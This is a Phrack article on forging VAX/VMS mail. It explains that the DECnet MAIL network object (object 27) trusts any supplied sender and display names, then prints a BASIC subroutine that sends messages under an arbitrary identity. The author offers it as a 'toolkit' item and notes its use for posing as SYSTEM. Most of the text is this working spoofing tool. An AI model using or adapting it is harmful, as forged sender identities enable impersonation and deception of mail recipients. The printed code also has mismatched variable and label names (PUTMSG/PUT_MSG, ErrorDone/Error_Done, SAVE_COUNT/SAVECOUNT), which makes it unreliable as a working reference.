==Phrack Inc.==
Volume Three, Issue 30, File #7 of 12
=-------------------=
VAX/VMS Fake Mail
by Jack T. Tab
=-------------------=
In the August 1986 issue of VAX PROFESSIONAL, the BASIC subroutine that appears at the end of this text was published. It was not until more than two years later that DEC included a callable mail interface with VMS 5.x. While the official version is much more extensive, the routine included here has one important feature. The ability to have a mail message appear to be from someone else is a good addition to most "toolkits."
VMS Mail works in two manners. The first is the familiar interactive. The second is as a network object. In this method, MAIL is invoked by the NETSERVER.COM command procedure in response to an incoming connect request. MAIL.EXE is activated as network object 27. The other network objects can be viewed by using the NCP command SHOW KNOWN OBJECTS. In this mode, MAIL.EXE operates as a slave process, receiving instructions from the master process. The master, in most cases, is another process running MAIL.EXE interactively. The slave process can handle requests to deliver mail to as many recipients as necessary. Addresses that are not on the same node as the slave process are forwarded by activating yet another slave process on the target node. The information sent by the master MAIL to the slave MAIL is quite simple and straightforward, consisting of a series of strings.
The first string is for the FROM name. This is what makes the subroutine useful, as it can be anything (i.e. theEasterBunny). The next set of strings are to whom the mail is to be sent. One address per string, with a null string, chr(0), terminating the list. The third item is what the receiver(s) sees in their TO: field. This also can be anything. VMS MAIL can use this option for its .DIS distribution lists. The final information is the body of the message. It too is terminated by another null string. The subject of the mail message is taken from the first line of this text.
The MAIL slave will send back appropriate status messages indicating problems if they occur. Such as "Addressee Unknown" or VMS and DECnet errors like "Disk Quota Exceeded" or "Remote Node Not Reachable").
The only privilege that seems necessary is NETMBX. Without it the subroutine cannot call MAIL as a network object. Our beloved system management resolved the problem of people pretending to be SYSTEM by installing MAIL with NETMBX and removing the priv from the student accounts. The subroutine works just as well with JNET and BITNET as it does with DECNET addresses.
**********CUT HERE*********** 1 %TITLE 'MAIL SUBROUTINE'
SUB MAILT( STRING NODE, & STRING FROMNAME, & STRING TOLIST(), & STRING TO_SHOW, & STRING SUBJECT, & STRING TEXT() )
OPTION TYPE = INTEGER
DECLARE INTEGER FUNCTION & PUT_MSG
DECLARE STRING FUNCTION & GETMSG, & GETINPUT
DECLARE INTEGER CONSTANT & TRUE = -1, & FALSE = 0 NetLinkOpen = FALSE
Z = POS( NODE + ":" , ":" , 1) NODENAME$ = LEFT$( NODE , Z - 1 ) ON ERROR GOTO MailNetError MAILCHANNEL = 12 OPEN NODENAME$ + '::"27="' AS FILE MAILCHANNEL
NetLinkOpen = TRUE
STS = PUTMSG( FROMNAME ) IF STS <> 0 THEN GOTO ERRORDONE END IF RECEIVERS = 0 TOCOUNT = 1
MailRecipients: IF TOLIST( TOCOUNT ) = "" THEN GOTO EndOfLine END IF STS = PUTMSG( EDIT$( TOLIST( TOCOUNT ) , 32 ) ) IF STS <> 0 THEN GOTO ErrorDone END IF GOSUB Errchk IF LINKERR <> 0 THEN GOTO Error_Done END IF
IF ( ERRSTS AND 1 ) = 0 THEN GOTO Error_Done END IF
TOCOUNT = TOCOUNT + 1 GOTO Mail_Recipients
ENDOFLINE: STS = PUTMSG( CHR$(0) ) IF STS <> 0 THEN GOTO ErrorDone END IF IF RECEIVERS = 0 THEN GOTO Mail_Done END IF
STS = PUTMSG( TOSHOW ) IF STS <> 0 THEN GOTO Error_Done END IF
STS = PUTMSG( SUBJECT ) IF STS <> 0 THEN GOTO ErrorDone END IF
FOR I = 1 UNTIL TEXT(I) = CHR$(255) STS = PUTMSG( TEXT(I) ) IF STS <> 0 THEN GOTO ErrorDone END IF NEXT I
STS = PUTMSG( CHR$(0) ) IF STS <> 0 THEN GOTO ErrorDone END IF SAVE_COUNT = RECEIVERS INDEX = 0
DeliveryCheck: GOSUB Errchk IF LINKERR <> 0 THEN GOTO ErrorDone END IF INDEX = INDEX + 1 IF INDEX <> SAVECOUNT THEN GOTO DeliveryCheck END IF GOTO MailDone
Errchk: MAILSTS = ASCII( GETMSG ) IF LINKERR <> 0 THEN ERRSTS = LINKERR RETURN END IF IF ( MAILSTS AND 1 ) = 1 THEN Receivers = Receivers + 1 ERRSTS = MAILSTS RETURN END IF
Errmsg: MAILERR$ = GETMSG IF LINKERR <> 0 THEN ERRSTS = LINKERR RETURN END IF IF LEN( MAILERR$ ) <> 1 THEN PRINT MAILERR$ GOTO Errmsg END IF IF ASCII( MAIL_ERR$ ) = 0 THEN RETURN ELSE GOTO Errmsg END IF
DEF INTEGER PUTMSG( STRING M ) ON ERROR GOTO 1550 MLEN = LEN( M ) MOVE TO # MAILCHANNEL , M = MLEN PUT # MAILCHANNEL, COUNT MLEN PUTMSG = 0 EXIT DEF
1550 RESUME 1555
1555 PUT_MSG = ERR END DEF
DEF STRING GETINPUT( INTEGER C ) EOF = FALSE ON ERROR GOTO 1650 GET # C R = RECOUNT MOVE FROM #C , TEMP$ = R GETINPUT = TEMP$ EXIT DEF
1650 RESUME 1655
1655 EOF = TRUE END DEF
DEF STRING GETMSG ON ERROR GOTO 1750 GET # MAILCHANNEL R = RECOUNT MOVE FROM # MAILCHANNEL , TEMP$ = R GETMSG = TEMP$ LINK_ERR = 0 EXIT DEF
1750 RESUME
1755 LINK_ERR = ERR END DEF
MailNetError: RESUME 1900
1900 PRINT "%Network communications error."
Error_Done:
MailDone: IF NetLinkOpen THEN CLOSE MAILCHANNEL END IF
END SUB **********CUT HERE***********